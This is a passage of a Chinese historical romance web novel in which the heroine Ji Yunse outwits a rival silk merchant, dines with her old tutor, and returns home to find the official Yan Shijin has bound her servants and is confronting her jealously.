“曦和公主有什么喜事倒没有听说,不过她们生在天家,夫婿怎么选都不会差哪里去。” “你说,我怎的没这般好命,托生个公主呢?” “听说,陛下的嫡公主,宠得跟什么似的,要星星不给月亮,小小年纪,就已经赐下封地了。” 皇后加冕,昭告天下,纪云瑟自然也听说了,她极是为孙雪沅高兴,永安帝这是为她的下半辈子费心筹谋呢! 不过,她既然已经“重生”有了新的身份,自然当与从前的那些人再无瓜葛。她抿了一口茶,笑道: “你还需羡慕什么天家富贵?罗家还不好?” “在咱们江州,已经顶了天了!” 罗姝看了她一眼,幽幽道: “唉,你不明白。” “我爹 在这里是知府,但也不过是个四品官,你可知,京城有多少四品以上的官?” “估摸着,在街上随意扔块砖头,就能砸着好几个!” 见纪云瑟扑哧一笑,她无精打采地双手撑着脑袋趴在桌上,道: “像我若是找夫婿,我爹就得考量那人官运如何,有没有潜质,能给我家带来什么。” “唉,哪像你,你义父家财万贯,你想找个什么样的,不得依你?” 两人调笑了一番,有婢女过来说宴席摆在花厅,让她们过去。 罗姝有一搭没一搭地与她说着话,迈步踏上了一侧的房舍檐廊。 纪云瑟终于发觉出了她的深层意思,但见她不明说,自己也就装傻。罗姝的性子直爽,心里藏不住事,拐弯抹角试探了几次后,终于开口问道: “云瑟,你上次带去陈家赴宴的那个侍卫,能不能让给我?” “你放心,我给他出双倍的酬金,额外再给你一份,如何?” 纪云瑟清楚她的侍卫都是姨母走了不太正当的路子,通过地下黑市买下的死契,故而个个武功高强又忠心耿耿,她自然不能做主随意送人。 但这些她不能明说出来,毕竟,这位小姐家是官府,而自己如今又是黄老爷的义女,与扬州苏氏没什么瓜葛。 “你是说破竹?” 罗姝眨了眨眼,用力地点了点头。 纪云瑟露出一抹别有用心的笑容,道: “你若是喜欢这样的,我帮你留意寻摸一个,但他不行。” 罗姝愣了愣,随即拉着她的手臂摇了摇: “哎呀,好瑟瑟!” 纪云瑟也没想到其他的什么说辞拒绝她,心一狠,便道: “不瞒你说,我的这几个侍卫,流水和穿杨他们,夜里是要轮着侍奉枕席的,特别是破竹,真的不能让给你。” 罗姝瞪大了眼睛: “什…什么?” 功夫好的侍卫多得是,但长得那般好看的她却第一次见,要过来也只是放在身边养养眼而已,算是有贼心还不具备贼胆,但这姑娘竟然…… 罗姝满脸不可思议地上下打量着纪云瑟,道: “那你…日后的夫婿…他能接受?” 纪云瑟直言道: “管这个做甚?我早已同义父说了,不嫁人。” “最多嘛,找个赘婿,他还不得听我的!” 少女谈笑声逐渐远去,一墙之隔的屋内,一个身着草灰色常服,眉目如画,却敛着几分冷肃的年轻男子瞳孔微缩,手中的杯盏瞬间捏紧。 坐在他对面的知府罗弘讪讪地擦了擦额头上的汗: “小女无知,让大人笑话了。” 今日他休沐,不知眼前的这位京城来的钦差突然驾临,这人也完全不跟他客气,直接寻到他家上门议事来了。 原本他找了园子里一间僻静些的雅舍招待,却不料正好他家中女眷弄了个什么赏花宴,几个女儿也不成体统,不知道邀的什么狐朋狗友,吵吵闹闹的,不省心呐! 罗弘见面前的峻肃男子似容色瞬间平静,方动了动早已执在手上的紫砂壶,为他添上茶水,看着他劲长指节捏起杯盏,状若无闻地饮了一口,默默松口气,继续刚才的话题,道: “指挥使大人的意思,下官已然明白。” “明日,下官会将江州本地的盐商和茶商召集到府衙,您看……” 晏时锦抬眸看了他一眼,道: “不,罗大人,你还没明白。” “此次我奉陛下旨意暗访,就是不想让人知道我来了江州。” 罗弘一愣,他怎么记得这位钦差刚才不是这么说来着的?什么意思? “指挥使的意思是,您在暗?” 晏时锦淡然饮了一口茶,道: “对,你在明。” “若是能将偷漏的税款追回,居功甚伟,我会在陛下面前据实奏报,到时,罗大人您何愁做不成京官?” 罗弘眸光微动,忙起身拱手道: “下官多谢大人抬爱,感激不尽!” 但心里却是打着鼓,这是让他得罪江州的一众财神爷哪!都得罪完了,他不就得收拾东西滚蛋了嘛? 晏时锦并未留在罗家用午膳,便急匆匆地出府上了候在一旁的马车,不多时,来罗府赴宴的莺莺燕燕们陆续走出,紫电和青霜听见了自家主子在车内的吩咐: “你们两个也上来!” 二人对视了一眼,随即明白了大人的意思,他们的明察,改成了暗访。 这是一辆极其普通的马车,普通到在门外的一众香轮宝骑中毫不显眼,纪云瑟和罗姝依依惜别之后,便在崇陶和效猗和几个侍卫的前呼后拥中,上了自家的马车,如往常一般,破竹驾马,流水和穿杨行走在两侧。 车帘内,效猗为纪云瑟斟了一杯茶,问道: “姑娘,时辰尚早,咱们是直接回漪澜苑,还是……” 纪云瑟摆摆手,懒懒地斜倚在靠枕上: “姨母说昨日绸缎庄新进了一批料子,我得去瞧一眼,万参将夫人下个月做寿,全府上下都要裁制新衣,还要打点送人,姨母已经谈好了这桩生意,不能出岔子。” 前两日苏滢回了扬州,纪云瑟自然十分上心。 “忙完这桩事,我再回去睡觉。” 崇陶见她伸了个懒腰,似有些疲惫,忙帮她捏着肩膀,道: “姑娘昨晚又没睡好么?” “今晚,让金虎还是雪影陪您睡?” 纪云瑟按了按两侧额角,道: “我要雪影!昨儿个夜里,金虎太闹腾了。” 崇陶轻笑了一声,道: “奴婢还说,金虎瞧着壮一些,陪着您睡,您才不怕呢!” 少女娇软的嗓音远去,跟着不远不近的一辆马车上,紫电和青霜不约而同地瞧了一眼自家主子的脸色,不由得浑身一凛,再不敢言语一声。 片刻后,他们等来了暴风雨前的一道轻雷: “走!” 第76章 纪云瑟自觉自己的心情该是好的,毕竟,某个人就要成婚了,那就意味着与过去一刀两断,自然不会再寻她了。 她从未觉得以晏时锦的谋算和能力,会真的被几具假尸体骗了,也不认为他会查不到自己的行踪。不过,时间是忘却的良药,她在外逃避了近两年,就算那厮有什么情愫,都该淡了。 马车停在一处绸缎庄的后院,崇陶和效猗先下了马车,二人刚刚就商议着要去一旁的福记买只炙鸭,回去撕着吃。 纪云瑟随同掌柜的去往库房,看刚登记入库的一批料子。如今,她对这些织锦之物已颇有些了解,细细看了纹理和光泽,问道: “留出的样品下水了么?” 掌柜的引着她步出门外,道: “下了,您过来看看。” 她跟着到了院内的井边,掌柜的道: “小小姐放心,我都看过了,都是好的。二小姐早就吩咐过,给万府的料子不能大意,那是他们在江州最大的一个主顾。” 又道已经派人上万府量体裁衣去了,纪云瑟放心下来,又问了几句话,见崇陶和效猗买了炙鸭,手里还提着两个食盒,不禁摇了摇头,道: “这又是什么?” 崇陶笑道: “姑娘您前日不是念叨着想吃金乳酥和桂花酥酪么?” “奴婢特地上前门街买了一些。” 纪云瑟皱了皱眉,轻哧一声: “明明是你们自己想吃,倒赖上我。” 几人在铺子里的内室坐着喝了几盏茶休息了片刻,准备回去时,却见掌柜的匆忙跑来,面色有些慌乱: “小小姐,不好了,万府突然改了主意,把咱们的人退了回来。” 纪云瑟道:“这是何意?” 掌柜的道: “我已着人去问,但若是真的,咱们刚进的这批布料,恐有些麻烦。” 纪云瑟自然知晓,这些料子就是为了万府寿宴准备的,样式图案是如今江南一带时兴的纹样,若是过了端阳,一天比一天热,这般厚度的面料会下市。 当然,增加些仓储的成本可以留到入秋,但到了那时,说不定又盛行新的花式纹样,这批料子就卖不了好价,费时费力,说不定还得亏钱。 这样不行。 不多时,有小厮从万府回来,将打探到的消息说了一番,纪云瑟眉头拧紧: “你是说,万府已经将这桩活儿给了曾氏布庄?” 小厮道: “ 正是,就是今儿个午后,曾氏突然在咱们的人之前去了万府,不知他们谈了什么,直接把咱们的生意抢去了。” “此刻,在万府量尺寸的变成了曾家人!” 纪云瑟蹙了蹙眉: “还有这种事?” 掌柜的道: “曾氏与咱们素来不合,争抢生意也是常有的事,但是今日,的确有些过分,分明咱们与万府已经谈好了,还收了订金。” 当然,因为苏滢的行事风格,与官员家做生意都是让利的多,故而订金只是意思意思,却着实没想到会被失约。 纪云瑟道: “这么点订金,万府应是瞧不上的,再说,若是曾氏打定主意抢咱们生意,说不定这点订金就让利给万府了。” 苏滢不在,掌柜的不敢自己拿主意,便问纪云瑟: “小小姐看,此事该如何办?” “若是要另外卖,这批料子咱们得赶紧摆上柜台,早些出手,咱们能少点损失。” “先不急。” 纪云瑟思索了片刻,问小厮: “你说,曾氏是午后突然去的万府?” 小厮点点头: “小的悄悄打点了万府负责采买的管事问到的,的确如此。而且,曾氏之前似乎并未与万府联系,倒像是,临时起意。” 纪云瑟撑着脑袋想了想, “这么说,他们,应该没有完全准备好咯?” 掌柜的突然明白了她的意思, “小小姐是说……” 纪云瑟想起了姨母说的话: “抢生意,不是光动动嘴皮子就行的!” 她设身处地地想了想,就知道,曾氏在对方答应之前并不会有太大的把握,毕竟万府与苏氏从前往来颇多,亲厚些,虽不知他们使了什么手段抢到了手,但可以肯定,他们只有在万府真正与苏氏毁约后,才会开始准备进料子。 对,他们现在应该没有足够的料子! 纪云瑟立刻吩咐掌柜的: “你立刻派人去,把江州所有的绸缎庄里,上好的,喜庆颜色的织锦缎子都买回来!” 万府寿宴就在下个月,曾氏根本来不及从外地进料子,只能从江州城收购一些,她要赌一把,让曾氏最后还得来找他们苏氏绸缎庄! 掌柜的明白了她的意思,觉得此计虽有些风险,但也可行,总比吃哑巴亏好。毕竟他们苏氏做了这么久的绸缎生意,第一次被人把到嘴的肉夺了去。 江州的绸缎庄并不算太多,几路人分别行事,终于赶在曾氏的伙计出万府之前,将这件事办妥。 纪云瑟看着库房里又多出来一人高的料子,心里也有些打鼓,这毕竟是姨母不在,她擅自做的第一个主,若是这些料子都砸在了她手里,可如何是好? 她本就想向姨母展示自己能独当一面的才能,让姨母放心地将一些事交与她去做,千万别事与愿违。 掌柜的看出了她的担忧,道: “小小姐不必担心,我已经让人盯着曾氏的一举一动了。” “料子在咱们手上,一则,咱们可以慢慢卖,再则,保存妥当,等到入秋也无妨。” “江州毕竟偏远些,不是所有的人都盲目追求时兴花色,特别是这些喜庆色的,只要家里办喜事就会用到,不管何时,都有人买。” 纪云瑟也不急着回别苑了,留守在铺子里等消息,一面喝茶,吃着糕点,一面听小厮们带回来的消息: “禀小小姐,曾氏的人已至各家绸缎庄采买。” “曾氏采买之人两手空空回去了。” “曾氏派人去各处库房查看。” “曾氏布庄的掌柜的匆忙寻当家少夫人去了。” 掌柜的又对了一回账,面上神色舒缓了许多,向纪云瑟问道: “小小姐,咱们下一步,该做什么?” 纪云瑟饮了一口茶,露出惬意的笑: “咱们的铺子提前打烊,就说要盘点两日,后日再开业。” 她不会给机会让曾氏派散客来自家铺子里买绸缎。 如今看来,她走的这一步棋是对的,但也只完成了一半。做为商人,她真正的目的不是跟死对头置一时之气,她得赚钱! 曾氏只要稍一打听就知道东西在谁手里,他们若想如期备齐料子,唯有回头求苏氏。届时,她当然要卖给他们!不仅要挽回损失,还要借机抬高价格,好好赚一笔! 纪云瑟笑盈盈地将杯盏中的茶饮尽,吩咐掌柜的这两日先闭门不出,只等后日,曾氏的人上门来找他! 离开绸缎庄,纪云瑟心情大好,崇陶问道: “姑娘是直接回漪澜苑么?” “先去姨母那儿吧,今日之事,还是派人传个信给她稳妥些。” 纪云瑟双手撑在一旁的案几上,闻着油纸包着的炙鸭传来的阵阵香气,托着腮道: “我记得姨母那儿存了几坛好酒,咱们顺道去取一坛回去喝吧!” 崇陶自是巴不得,效猗倒是劝道: “姑娘,饮酒伤身,您上次刚取了一坛喝完,又喝?” 纪云瑟撇了撇嘴: “上回的一坛酒我喝了半月才喝完,有什么伤身的?” “沈夫子从前还说,每日饮一些酒,对身子有益呢!” 效猗无奈道: “姑娘,那可是十斤的大坛子,您酒量又不好,每日要喝半斤,哪里……” “哎呀……” 纪云瑟打断她: “连姨母都说,酒量是练出来的,做生意嘛,不会喝酒如何谈事?” 这边,她已经吩咐车夫往苏滢的别苑走,别苑的管家闻讯迎了出来,笑着吩咐小厮去酒窖抬酒。 纪云瑟问了苏滢何时回来,管家道: “二小姐传信回说,等扬州那边的几张牙帖办妥之后,就回来。” 纪云瑟将今日之事与管家说了,嘱咐他捎一封急信过去,看看姨母是什么个意思。 管家答应了,又笑道: “其实大可不必,也就是万两银子的小事,小小姐做主便是,就算赔了也不打紧,二小姐也说您可以多历练历练。” 纪云瑟瞪大了眼睛咂了咂舌: “这…这还是小钱?” 管家躬着身笑道: “无妨,您别放在心上。” 小厮们直接抬了两坛子酒出来,管家道: “小小姐您先喝着,下回老奴再给您送。也怪老奴疏忽了,您那园子里也有酒窖,过两日老奴吩咐人打扫出来,给您存些酒。” 纪云瑟带着一众人到漪澜苑门口时,已近日落时分,她对效猗道: “让他们别备我的晚膳,我吃炙鸭就着酒就好。” 效猗无奈答应了一声,几人正行至门口,正诧异怎的不见原本守在那儿的小厮,却听身后有男子唤她的声音: “云瑟!” 纪云瑟回过头,才发现大门外的榕树下,早已停着一辆马车。 车帘掀开,露出一张熟悉的温润面容,男子淡笑着走下马车。 “夫子?!” 纪云瑟眼睛一亮,小跑着向他走去: “你何时来的?从哪儿来?” 斜阳映着沈绎柔和的轮廓,他笑了笑: “今日刚到江州,先来看看你。” 纪云瑟细细打量了他一番,一如既往的讨巧卖乖: “夫子似没什么变化呢!还是那样年轻俊俏,意气风发!” 沈绎无奈低头一笑: “你倒是变了,变得更加能说会道了!” 纪云瑟捂着嘴笑了笑,原本想邀他入内,但想到似有些不便,毕竟这位夫子最是讲规矩礼数之人,遂道: “夫子还没用晚膳吧?我请您去七重天吃一顿!” 沈绎看了看天色,似 十分犹豫,纪云瑟凑近他,悄声笑道: “夫子来得巧,我刚从姨母那儿搬来两坛好酒,正好给您接风。” 说罢,就吩咐一行人直接调转马头,沈绎拗不过她,上了自己的马车跟在其后。 七重天是江州最高的酒楼,共有七层,故而得了这个名号,顶楼只有一个大的雅间,眺望整个江州城的夜景十分惬意。 夕阳余晖斜映,一行人停好了马车下来,沈绎抬头看了看这座高楼,问道: “这里也是苏氏的产业?” 纪云瑟摆摆手,道: “哪能呀!” 她一面吩咐崇陶入内寻个雅间,一面跟沈绎解释着,他们苏氏在江州的生意也是近几年开始,如今只是开了两间大些的绸缎庄做为起步,正在慢慢地接触江州最为出名的盐茶类的生意,恐怕只能算是刚刚在这里打开些局面。 几人往里走,崇陶出来,面露一丝无奈道: “姑娘,五楼以上的雅间都被订下了,让咱们在下面挤一挤。” 店小二看了一眼纪云瑟和她身旁的一个俊逸男子,躬着身道: “云姑娘,三楼有个靠河边的,幽静些,您看要不坐那儿?” 纪云瑟皱眉,道: “三楼?” “那旁边的水云间就有四层楼了,不是连护城河也看不到?” 店小二无奈道: “实在是没有法子,还望云姑娘见谅。” 纪云瑟有些诧异朝楼梯的方向看了看: “今儿个是什么好日子?怎的都满了?” 因为这里算是江州最豪华的酒楼,来吃的都是达官显贵,寻常百姓多半是吃不起的,但富人们也不会日日上酒楼吃。故而平日里除了顶层的唯一雅间需要提前两日预订,其他楼层都有两个以上的雅间,随时来就成。 店小二认得这位小姐是他们酒楼的常客,也不瞒她,悄声在她耳畔道: “姑娘不知,今日是知府大人宴请京城来的官爷,直接把顶上两层包下了,至于五楼,是原本订了顶楼的客人,店里实在没有法子,便答应了不让人在旁打扰,故而另一间便空着。” “余者就剩下四楼,小的想着,姑娘恐不喜欢。” 他们做生意之人有忌讳,多半不喜“四”这个字眼。 纪云瑟便道: “小哥,我这位客人远道而来,我给他接风,你说我怎好意思让人受委屈?” 店小二挠挠头,一副十分为难的模样,纪云瑟眨了眨眼,道: “五楼不是还有一间么?给我吧!” “你知道的,我最是明礼懂事之人,绝不会吵着一旁的客人,好不好?” 少女本就生得天姿国色,又是这样轻软的语调求人,店小二纵然是铁石心肠,也说不出拒绝的话,他为难了一瞬,道: “云姑娘您等一等,小的去问一声掌柜的。” 纪云瑟一听便知道有戏,笑眼弯弯道: “好,快去罢!” 沈绎在旁摇摇头笑道: “三楼也罢了,何必强求呢?” 纪云瑟道: “夫子不知,楼上的风景真的好,我第一次正经请您用膳,自然得费心些,让夫子您不虚此行呐!” 一面又吩咐崇陶问店家拿个酒壶,去自家马车上斟一大壶酒来。不多时,果见店小二笑眯眯地迎出来,道: “云姑娘,里边请,掌柜的已经给您安排好了!” 一行人跟在其后,到了五楼却不见店小二停下,而是继续往上走,店小二见纪云瑟一脸诧异,忙解释道: “云姑娘,是顶楼的官爷碰巧听见掌柜的与五楼的客人商量让您到一旁的雅间用膳一事,便说让您直接到六楼去。” “那位大人还说,为官者怎能为了一己私利,夺了百姓们自由用膳的资格?” 说着,已经引着一行人行至了六楼最里侧的雅间,纪云瑟不禁赞道: “这年头,还有这般体恤百姓的好官,真乃百姓之福呐!” 几名侍卫照例守在门外,崇陶和效猗已经习惯了跟着自家姑娘一同上桌吃饭,也并不客气。 纪云瑟随即吩咐将酒楼的招牌菜都上来,看着窗外的江州夜景,不远处正是护城河,两岸灯火辉煌,倒映在水面上,波光粼粼,似一幅流动的画卷。明月已渐渐升上来,夜风轻拂,好不适意。 纪云瑟撑着脑袋欣赏了半日,忽的笑道: “如今,方觉得从前没有认真听夫子授课,看着这番美景,倒想不出有什么适合的雅句描述一番,只会说一句:‘呀!真好看!’” 沈绎摇头笑了笑,见小姑娘眸色明亮,神采奕奕,便知她这两年的确过得舒心,道: “什么雅不雅的,惬意就好!” “难不成,才子们看见个好看的景致就得做出一首诗来?” 不多时,一桌做工精致的山珍海味陆续摆了上来,沈绎不由得叹道: “跟着大小姐,真是让我见世面了。” “今日,方明白了何谓财大气粗。” 纪云瑟嘻嘻一笑,命崇陶给他斟了酒,沈绎本要拒绝,却见小姑娘嘟了嘟嘴,道: “哎呀,夫子,咱们统共就拿了一壶酒上来,四个人喝,全喝光也不算多,你我久别重逢,就别在意这些了嘛!” 沈绎素来对这个女学生撒起娇来毫无招架之力,只得无奈一笑,道: “好,但你也要记住,平日里适量就好,酒醉伤身。” 纪云瑟随口应了两声,刚闻见酒香,已经把持不住了,兴冲冲地举杯道: “来,咱们一起为夫子接风,干了!” 崇陶也跟自家姑娘一样,都是有些好酒之人,效猗只得在一旁悄声劝道: “姑娘,您慢些,多吃点儿菜。” 沈绎问了她这两年去往暹罗的见闻,见小姑娘手舞足蹈,绘声绘色地描绘那边的景致,也不自觉弯着唇角。 “别的不说,瓜果真的好吃,种类又多,还有各式海鱼蚌壳。” “可惜,都不能带回来,否则,定要请夫子尝尝美味。” 说着,纪云瑟兴致勃勃,又饮了几杯酒,示意崇陶给她添上,却被一直手伸过来拦住: “云瑟,酒不宜饮过量。” 这一壶酒,她一个人饮了约莫一半,沈绎自是知晓这姑娘的酒量一般,况他身为医者,更见不得人酗酒。 纪云瑟撇了撇嘴,一只手撑在桌上托着腮,道: “哎呀,夫子,就最后一杯了,好不好嘛?” 说着,在男子犹豫间,立刻就为自己斟满,向他笑了笑, “夫子放心,我如今的酒量好了许多,都是跟着姨母练出来的!” 说起苏滢,沈绎微不可察地皱了皱眉,那位苏家二小姐的行事,他着实不敢苟同,但她毕竟是纪云瑟如今唯一的亲人,他自不好说什么。 效猗看着这形势,知晓自家姑娘不将壶中的酒饮尽是绝不罢休的,忙将剩下的分着斟给几人。 沈绎见拦不住,也只能随了她高兴而去,纪云瑟又问了他这两年到了哪儿,他并不好说自己追查当年宫中变故的真相,去寻了那位关键证人,含糊说了几句便岔开了话题。 酒足饭饱之后,崇陶自去结账,几人步出雅间。 纪云瑟在屋内尚不觉得,行至走廊吹了吹风,便有些上脑,整个人也轻飘了起来,回头与沈绎说话时,差点打了个趔趄。 沈绎吓了一跳,赶紧伸手去扶她,却已被一旁的破竹顺手揽住,他看了一眼有些陡峭的楼梯,十分熟练地将纪云瑟打横抱起。 面颊微红,一脸醺意的少女也似习惯了这番亲近动作,平静地靠在男子怀里,手搭在他的肩上,还不忘回头问一同下楼的沈绎: “夫子,你今晚住哪儿呢?” “我让人给您找一间客栈吧?” 沈绎收起怔然之色,道: “…不必了,我已有了去处。” 纪云瑟也不勉强,几人出了酒楼告别之后,一行人径直回漪澜苑,院门紧闭,依旧不见守在外的小厮们的踪影。 崇陶带着几分酒气,道: “这帮猴崽子,等我寻到今日是谁当值,必要剥了他们的皮!” 效猗默默叹气,吩咐破竹将已经有些呆呆愣神的自家姑娘抱下马车,自己去开门。 门并未锁,轻轻一推就开了,她立刻被院子里的景象唬了一跳,崇陶跟了过去,一声惊呼刚刚发出,酒意已经醒了大半。 纪云瑟还不至于真的喝醉,懒懒地问了一句: “怎么了?” 她被破竹紧紧抱着,行至门口,瞬间,她瞪大了眼睛。 园子里的婢女仆妇抱在一团轻声呜呜咽咽,小厮被两个一捆地扔在地上,留守的武艺高强的三个侍卫被五花大绑地缚在三棵大树干上,所有人都被不知从哪儿找来的布条紧紧塞住嘴。 院内的烛火全部被点亮,氤氲下一圈圈的光影,层层火光的尽头,是一个端坐圈椅,交叠双腿的劲硕男子,闻声,他抬眸向门外扫来,点漆般的黑眸目光不耐。 第77章 男子身着玄色修身飞鱼服,错落有致的侧脸线条在随风晃动的烛影中深邃凌厉,极是矜贵的俊美容颜透着几分杀气的森冷寒意。他的身旁站着两个负手而立的冷肃下属,在门乍开时,警觉幽冽的目光看了过来。 流水和穿杨几乎只是一看到这副场景就立刻宝剑出鞘,直指正中的“罪魁祸首”,直到剑刃直逼他的眼眸,那男子依旧纹丝不动,蹙着眉头定睛看向破竹怀中的少女。 剑刃被他身旁的下属不知何时扫过来的长刀拂落,另一人顺势加入,与流水、穿杨厮打起来,不过片刻,武功高强的苏家侍卫就被制服。 破竹如星辰般的凤眸微眯,长睫颤了颤,对怀中明显是吓傻了的少女轻语道: “小小姐莫怕,小人在此!” 还未等他放下纪云瑟,玄衣男子看了看身旁的其中一下属,那人毫不犹豫飞身过来,出手向破竹挥出一掌,掌风凌厉,破竹侧身躲开,稳稳护住怀中少女。 那人乘势追击,招招狠戾,破竹逐渐有些招架不住,寻了个间隙,将纪云瑟交给崇陶和效猗,全力迎敌。 崇陶和效猗早已吓得目瞪口呆,待看清楚正中男子的面容,更是惊愕得说不出话来。 当那张清隽如玉般的面容瞬间与脑海中的某些记忆重叠,纪云瑟的几分酒意立刻丢到爪洼国去了。 意识清醒过来的同时,她全身的力气也似乎被抽空,双腿一软,几乎要站立不稳,崇陶和效猗手忙脚乱地扶住她。 不远处的青霜已经制服了破竹,捆着送到了自家大人面前,紫电随即将其他几人也押了过来,在他们的膝盖后一击,齐齐整整地跪了一排。 院内一时寂静,凉风拂面,纪云瑟的额头上却满是细细密密的汗珠。 晏时锦坐在圈椅上,看起来姿态极是闲适,一只手肘撑在扶手上,指节一下一下地敲击着额角,凝眸看向不远处的少女。 乌发雪肤,眸若秋水,红唇莹润,除了透着嫣粉的双颊比从前圆润些,没有其他的变化。 再加上他今日一路听过来的少女自信从容的嗓音,就知她过得很好,比起从前在皇宫里的步步为营,和在纪府的压抑小心,如今的她,鲜活灵动。 一看就是,在没有他的地方,过得恣意潇洒。 一早去赴了罗府的赏花宴与手帕交口不择言,午后去自家铺子里指手画脚一通,晚间和沈绎在江州最好的酒楼用膳,谈天说地,直至月色初上,才带着微醺的笑意归来。 还是被一个男子抱着回来,好不惬意! 纪云瑟脑海的思绪骤然断开,脸色从酒后的潮红变成了惊恐的煞白,她无论如何也不敢相信晏时锦会突然从天而降出现在她的园子里。 他,他不是应该在千里之外的京城,成,成婚么? 见鬼了吧! 怔怔的,她说不出一句话来。 男子起身,行至纪云瑟的面前,黑眸微眯,垂着浓郁的眼睫看下来,视线从她凝着水雾的杏眸,慢慢落在她抿紧的嫣红唇瓣上。 是少女陈远的记忆中,淡漠疏离的神色,看不出什么表情,清冷的声音仿佛从覆着白雪的高山顶上传来, “好久不见,纪大小姐。” 纪云瑟双唇勉强开合了一下,“嗯”了一声。 男子伸手揽在她的后腰,将她整个人拥在怀里,死死扣住。 离得这样近,到手的实感,让晏时锦真正意识到,她又回到了他身边。 不一样的幽香拂面,还夹杂着微甜的酒气,少女挽起的发髻上插着几支素玉簪子,乌亮的发丝垂落耳畔,让人不禁想去帮她拢起。 崇陶和效猗一脸错愕地看着自家姑娘就这样落入高挺男子的手中,被他轻易掌控,表情呆愣复杂,却不敢说一个字,竟然还被他慑人的目光吓得往后退了退。 被五花大绑,塞了满嘴布条的破竹几人见此情景,皆用力挣脱着,满是怒意的目光朝这边看来,喉间发出呜咽之声。 晏时锦拥着少女,带着她一同转过身,扣着她腰上的力道倏然加重,挑了挑眉看过去,语气却依旧平静: “倒是养了几只忠犬。” 顿了顿,日间在罗府听到的少女毫不避讳的话语,重新在耳畔回响了一番,男子的后槽牙突然咬紧: “不,” “是侍奉枕席的‘忠犬’,对吧?” 纤腰隐隐作痛,纪云瑟根本不敢动,闻听此话,本能地眨了眨眼睛,茫然中带着几分无措地对上了男子漆黑如深渊般的幽眸,忽的浑身一凛: “你,你,你怎么知道?” 难不成,这厮也在罗府的宴席上? 不对啊,那不是后宅女子们的赏花宴么?他去作甚? 还是,他早就派人盯着自己了?什么时候开始的? 是她从暹罗回来时么? 不会吧,这厮莫非没有忘了她,一直在找她? 她难以置信地看向他: “你……” 男子将她一脸的慌乱尽收眼底,眼眸黯了黯: “怎么,还怕被我知道?” 纪云瑟伸手推了推他,却纹丝不动,她理了理纷乱的思绪,勉强拼出几分理智,让自己冷静下来,扯出一抹难看的笑容: “世…世子,我…我们换个地方说话,好不好?” 又来了! 她总是这般识时务,一旦自己处于弱势时,便会装出的一副软柔求人的模样,晏时锦不止一次地吃了她的亏,被她轻易动摇神智,为她一次次地突破底线。 就算是此刻,也似如此,一时无法改变。 但是,他不可能轻易放过她! 始乱终弃,逃之夭夭,移心别恋,豢养面首,这些不可能轻易揭过! 男子将少女箍得更紧,温热的唇贴近她的发髻,低沉的声音随着一波一波的热气传入她的耳畔: “换到哪儿说?” “你的枕席之上?” 这都什么跟什么呀? 她要怎么跟这厮解释?总不能当着破竹他们的面,把自己在罗府随口扯的慌又拿出来说道一通吧? 纪云瑟咬了咬唇,终是鼓起勇气,道: “是,是我对不起你!” 纪云瑟指了指跪了一院子的小厮护卫,软声道: “但是,他们是无辜的,他们连你的面都没有见过。” “要不,你…你先放了他们吧!” 好,很好! 晏时锦手中的力道再次加重,整个手掌包裹着少女的纤腰,她向他道歉,向他低头,就是为了替她的这些“面首”求情! 放了他们?休想! 纪云瑟明显感觉到了这厮越来越紧的力道,不禁再一次伸手去推他,却反被他的另一只手将她的两只手腕牢牢制住按在他胸口。 “晏时锦!” 少女终于忍不住,带着几分羞恼地唤了他的名字。 晏时锦双瞳缩紧,沉声道: “怎么,没告诉他们,我与你的从前?” 纪云瑟: “……” 男子的声色沉静,但纪云瑟紧贴着他,可以感觉到他的心跳剧烈,那股隐藏在平和下的怒意暗潮涌动,随时可能爆发。 他到底要怎么样嘛! 她深吸一口气,极力让自己镇定下来,声音更加地娇软: “世子,关于两年前的事,你…你听我解释,好不好?” 晏时锦垂眸下来,唇瓣轻启: “不错,是该好好解释。” 纪云瑟察觉到他手上的力道轻了一些,却也不敢立刻挣脱开,恐又惹恼了他,便顺 着他的话,讪讪笑道: “对,咱们进去喝一壶茶,边…喝茶,边聊,好不好?” 男子果然下一瞬就松开了她,脸上却拂过一丝森冷的笑意: “不急。” 他背负双手,转身缓缓走了几步,目光扫过一地跪伏的“面首”,幽幽道: “先介绍几位给我认识认识?” 纪云瑟勉强露出的几分笑意凝滞在唇角,半晌发出声音: “不…不必了吧?” 晏时锦没有理她,径直行至不远处,明显不会武功、吓成了抖筛的几个小厮面前,青霜会意地扯下了其中一人口中的粗布。 见那人大口大口地呼吸了几下,紫电开始问话: “破竹是哪个?” 小厮眼瞅着纪云瑟,不敢言语。 “说!” 紫电一声厉喝,小厮吓得一哆嗦,再瞧他森寒的目光,不敢隐瞒,哆哆嗦嗦地指了过去: “是…是他!” 破竹一脸凛然,挺直了脊背,毫无畏惧地迎上晏时锦几人的视线,面上明明白白地写着“不屈”二字。 紫电继续逼问: “雪影和金虎又是谁?” 小厮愣了愣,伏在地上一脸惊诧地抬眸看了过来,紫电怒起一脚就要踢过去: “还不快说?” 小厮吓得魂飞魄散,半晌才结结巴巴地道: “他…他们不在这里!” 紫电和青霜对视了一眼,眸中冷色不减,道: “在哪儿?” “说!” 小厮一脸无奈,看向了崇陶和效猗的方向,老实交待道: “这个,要问两位姑娘,平日里都是她们……” “哎呦……” 青霜不想听他啰嗦,又将布条给他堵了回去。 崇陶和效猗脸色微变,互望一眼,崇陶吓得根本说不出话来,效猗强作镇定,看了一眼自家姑娘后,弱弱道: “若是,世子要见他们的话,奴…奴婢们去把他们带过来。” 晏时锦黑眸斜扫过来,他自是不怕她们耍什么花招,就算再来两个这样功夫的护卫,也不过是稍稍费些手脚罢了。 崇陶和效猗踉跄着向后院走去,晏时锦重新看向纪云瑟,面色不耐。 这位肃戾权臣捏紧美人的下巴,挥剑指向跪了一院子的面首,力道似要将她揉碎: “说,哪一个先死?” 乌云遮月,夜黑风高,整个院子只能听见婢女仆妇们的轻声啜泣,紫电甩了个犀利的眼神过去,立刻鸦雀无声。 修长指节缓缓陷入少女的双颊,逐渐收紧的力道让纪云瑟不得不仰头看向男子阴郁的黑眸。 晏时锦眼见她满院子的面首,只要一想到她与别的男子在床帏厮混,就怒不可遏。 她巧言令色哄他,利用他逃出京城,他体谅她是被无良的家人所逼,并不打算深责了她。 可她一去暹罗就是近两年未归,再回来时竟然已经变成让身边侍卫轮番侍奉枕席之人,还堂而皇之地拿到茶桌上做为谈资! 连他一个男子都做不出这等放荡不羁的事来,更何况一个女子? 她怎么敢? 晏时锦的指尖泛白,眼中怒火几乎要将她吞噬,纪云瑟被他捏得聚拢在一起的小脸挤着嘟起的嘴唇,勉强发出了声音: “你…你要做什么?” 晏时锦语气薄冷: “你说呢?” “他们的来历你最清楚,身份见光就是死路一条。” “我自然是替你料理。” 对上他眼尾逐渐汇聚的猩红,纪云瑟勉强定下神,声音柔了柔: 